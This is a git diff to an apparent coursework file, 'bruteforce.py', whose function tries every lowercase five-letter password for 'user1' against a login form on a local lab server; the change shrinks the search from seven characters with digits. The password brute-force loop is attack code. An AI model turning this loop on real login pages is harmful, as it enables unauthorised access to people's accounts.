diff --git a/M2/Cybersecurity/bruteforce.py b/M2/Cybersecurity/bruteforce.py
index 0fd156f..c2ebb5c 100644
--- a/M2/Cybersecurity/bruteforce.py
+++ b/M2/Cybersecurity/bruteforce.py
@@ -7,9 +7,9 @@ import requests
 def bruteforce_user1() -> str | None:
     """Brute-force pour trouver le mot de passe de user1."""
     url = "http://127.0.0.1:5000/login"
-    alphabet = string.ascii_lowercase + "0123456789"
+    alphabet = string.ascii_lowercase
 
-    for combination in itertools.product(alphabet, repeat=7):
+    for combination in itertools.product(alphabet, repeat=5):
         password_attempt = "".join(combination)
 
         payload = {"username": "user1", "password": password_attempt, "level": "1"}